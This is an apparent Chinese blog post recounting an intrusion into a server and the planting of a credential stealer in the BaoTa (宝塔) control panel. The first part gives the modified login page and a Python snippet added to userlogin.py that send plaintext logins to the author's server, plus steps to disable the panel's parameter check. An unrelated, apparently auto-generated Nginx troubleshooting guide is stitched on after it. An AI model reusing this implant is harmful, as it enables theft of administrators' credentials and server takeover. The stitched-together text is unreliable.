宝塔窃取登入口令

        最近对一个非法网站进行了渗透,前期通过弱密码爆破成功进入后台管理系统。最后成功通过某些cms文件上传漏洞拿到webll,然后成功提权至ROOT权限。但是仅仅只是拿到一台主机的权限仅仅是不够的,拥有者的安全防范能力也很足,mysql里全是默认的密码,宝塔的密码也和管理后台的密码不一样。后面我就想尽办法去窃取作者的宝塔密码。

起初,我预先创建一个django后端接口,想直接通过ajax请求来窃取输入的账号和密码然后转发至我的接口。

后端接口:先将目标的domain,user,pwd接受然后储存至数据库

简单的后端接口

通过修改宝塔的/www/server/panel/BTPanel/templates/default/login.html 文件。使用户在输入密码时发送ajax请求给我的服务器。

我们先在线导入axios库,然后使用axios库发送ajax请求

现在html头部导入axios库

<script src="https://cdn.bootcdn.net/ajax/libs/axios/0.24.0/axios.min.js"></script>

很快我们就可以找到 from_validation 函数,很明显 username,password就是用户输入的明文账号和明文密码。

先创建一个变量opwd储存用户输入的密码


我尝试将目标的明文账号和明文密码发送至我设置好的接口。

                axios.post('http://xx.xxx.xxx.xxx:8000/diaoyu/',{
                    params:{
                        url:'view-source:http://xxx.xx.xxx.xxx:8888/xxxx/',   
                        pwd:opwd,
                        user:username        
                    }
                }).then(respone=>{
                    if(respone.status>=300){
                        console.log("error")
                    }
                    else{
                        console.log("success!")
                    }
                });

原本想高高兴兴等待吃西瓜,没有想到ajax请求居然发送不出去

为什么ajax发布出去呢?因为浏览器的同源策略。下面时同源策略的简述

同源策略是一个重要的安全策略,它用于限制一个源的文档或者它加载的脚本如何能与另一个源的资源进行交互。

它能帮助阻隔恶意文档,减少可能被攻击的媒介。例如,它可以防止互联网上的恶意网站在浏览器中运行 JS 脚本,从第三方网络邮件服务(用户已登录)或公司内网(因没有公共 IP 地址而受到保护,不会被攻击者直接访问)读取数据,并将这些数据转发给攻击者。

于是我就想办法绕过同源策略。在网上找了很多方法都绕过失败了。

前端不行我们还有后端,于是我开始找宝塔的后端接口,想通过后端接口来接受账号密码并保存。

有一说一,宝塔的后端接口是真的难找。我找了好久才找到后端登入接口的位置。

宝塔的后端登入接口位置在/www/server/panel/class/userlogin.py 文件里 很明显这个request_post 函数就是验证登入函数。

找到登入函数后 我们先修改前端的login.html文件,将明文密码和账号以明文的形式传到后端接口。

然后我们修改宝塔的后端接口,使用python 发送请求给我们之前设置好的接口。

现在开头导入requests包

import requests as req

将下面python代码段加入到request_post函数里

        domain = post.domain
        pwd = post.pwd
        user = post.user
        req.post(url='http://ip/diaoyu/',data={
            "domain": domain,
            "user": user,
            "pwd": pwd

        })

然后尝试登入宝塔看一下结果。很遗憾,宝塔登入时候有一个参数个数监测机制。导致代码不能正常执行。

既然宝塔有这个参数个数检查代码,我们就找到检查代码的位置把他删掉即可。我在userlogin.py搜索"多余参数显示到无结果“。开始我还没有想到可以全局搜索,还在那里傻傻的一个一个文件搜,导致我搜索了好久。后面想到用全局搜索后 我先把calss文件全部下载到本地,然后打开vscode 使用CTRL+SHIFT+F 经行全局搜索。发现改文件夹里 没有改字段。接着我在下载BTPanel文件夹,继续全局搜索。终于找到了这个字段的位置,点击调转至该代码段。

删除掉这一段代码即可。然后重启宝塔尝试登入。

登入后去我的数据库看看有没有结果

可以看到数据库新增了一条数据。最后我们只需要等待受害者登入宝塔即可获取它的正确口令了

### Nginx 配置影响宝塔面板录的解决方案 当遇到因 Nginx 配置不当而导致宝塔面板无法正常录的情况时,可以按照以下方法排查并解决问题。 #### 1. 检查 Nginx 的配置文件路径 在宝塔面板中,Nginx 的主要配置文件通常位于 `/www/server/nginx/conf` 下,而针对特定站点的配置文件则存储在 `/www/server/panel/vhost/nginx` 中[^1]。因此,应优先检查这些位置中的配置文件是否存在错误。 对于宝塔面板自身的访问口(通常是 `http://服务器IP:8888` 或自定义端口),其对应的配置文件可能并不直接存在于上述目录下,而是由宝塔内置的服务管理器动态生成。可以通过命令查看当前生效的 Nginx 配置文件: ```bash nginx -T ``` 此命令会打印出完整的加载配置内容,便于定位潜在问题所在。 --- #### 2. 排查 Nginx 运行状态 如果发现宝塔面板无法通过浏览器访问,可能是由于 Nginx 启动失败引起的。此时可执行以下命令来确认服务的状态: ```bash systemctl status nginx.service ``` 若显示异常,则需进一步分析日志信息以找出具体原因。常见情况包括语法错误或权限不足等问题[^3]。 --- #### 3. 修改默认配置防止冲突 有时第三方应用或其他操作可能会修改全局范围内的 Nginx 设置,从而干扰到宝塔的功能实现。建议备份原始数据后再做调整: 进宝塔后台界面,在【网站】-> 【设置】选项卡里找到对应域名关联的部分,手动编辑其中的内容确保没有多余的规则覆盖必要项。比如添加跨域支持时应注意不要误删其他重要指令[^4]: ```nginx server { listen 80; server_name your-domain.com; location / { proxy_pass http://localhost:8888; # 假设这是实际目标地址 add_header Access-Control-Allow-Origin *; add_header Access-Control-Allow-Methods GET,POST,OPTIONS; } } ``` 以上片段仅作为示范用途,请依据实际情况定制化处理! --- #### 4. 清理缓存重载服务 完成所有更改之后记得清理相关缓存以及重新加载 Nginx 来使新设定即时生效: ```bash rm -rf /tmp/*_fastcgi* service php-fpm restart && service nginx reload ``` 这样不仅有助于消除残留的影响因素还能验证最终效果如何。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值